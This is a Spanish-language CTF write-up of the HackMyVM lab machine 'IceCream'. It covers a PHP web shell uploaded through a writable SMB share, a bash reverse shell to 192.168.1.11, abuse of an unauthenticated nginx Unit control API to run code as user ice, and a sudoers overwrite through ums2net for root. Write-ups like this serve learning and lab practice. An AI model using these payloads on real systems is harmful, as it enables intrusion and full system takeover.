cd ~/blog

~/writeups/hmv/116-icecream.md

116 - IceCream

easy Linux hmv 27-10-2024
SMB writable share (web RCE)nginx Unit control API abuse (run as ice)sudo ums2net arbitrary file write
hackmyvm.eu/machines/machine.php?vm=IceCream

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80,139,445,9000 -oN 02-targeted.txt 192.168.1.22
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-27 23:35 -03
Nmap scan report for 192.168.1.22
Host is up (0.00039s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp   open  http        nginx 1.22.1
|_http-title: 403 Forbidden
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
9000/tcp open  cslistener?
...
|     Server: Unit/1.33.0
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El puerto 9000 es la API de control de nginx Unit (servidor de aplicaciones), expuesta sin autenticación.

Enumeramos SMB y vemos el share icecream con escritura:

 sudo netexec smb 192.168.1.22 -u '' -p '' --shares
...
SMB         192.168.1.22    445    ICECREAM         icecream        READ,WRITE      tmp Folder
...

Subimos una webshell PHP que se sirve por el puerto 80:

 cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.11/1234 0>&1'");
?>

 smbclient //192.168.1.22/icecream -U nobody --password='nobody'
smb: \> put pwned.php

 curl http://192.168.1.22/pwned.php

 ncat -nlvp 1234
Ncat: Connection from 192.168.1.22:36670.
bash: cannot set terminal process group (508): Inappropriate ioctl for device
www-data@icecream:/tmp$

Con pspy64 vemos que nginx Unit corre como el usuario ice:

...
2024/10/28 16:07:20 CMD: UID=0 PID=382 | unit: main v1.33.0 [/usr/sbin/unitd - control 0.0.0.0:9000 - user ice]
...

Subimos otra webshell y, vía la API de control (puerto 9000), reconfiguramos Unit para servir una aplicación PHP desde /tmp, que se ejecutará como ice:

❯ cat config.json
{
    "listeners": { "*:8080": { "pass": "routes" } },
    "routes": [ { "match": { "uri": "*" }, "action": { "pass": "applications/myapp" } } ],
    "applications": {
        "myapp": {
            "type": "php",
            "root": "/tmp",
            "index": "pwned_ice.php",
            "script": "pwned_ice.php"
        }
    }
}
 curl -X PUT --data-binary @config.json http://192.168.1.22:9000/config
{
	"success": "Reconfiguration done."
}

 curl http://192.168.1.22:8080/pwned_ice.php

 ncat -nlvp 4321
Ncat: Connection from 192.168.1.22:33994.
ice@icecream:/tmp$

Obtenemos shell como ice y la primera flag. Revisamos sudo -l:

ice@icecream:~$ sudo -l
...
User ice may run the following commands on icecream:
    (ALL) NOPASSWD: /usr/sbin/ums2net

ums2net permite escribir archivos (recibe datos por un puerto y los vuelca a un fichero). Lo usamos para sobrescribir /etc/sudoers:

 cat sudoers
ice ALL=(ALL) NOPASSWD: ALL

ice@icecream:/tmp$ cat pwned.conf
8888 of=/etc/sudoers

ice@icecream:/tmp$ sudo /usr/sbin/ums2net -c pwned.conf -d

 nc 192.168.1.22 8888 < sudoers

ice@icecream:/tmp$ sudo bash
root@icecream:/tmp#

Obtenemos una shell de root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados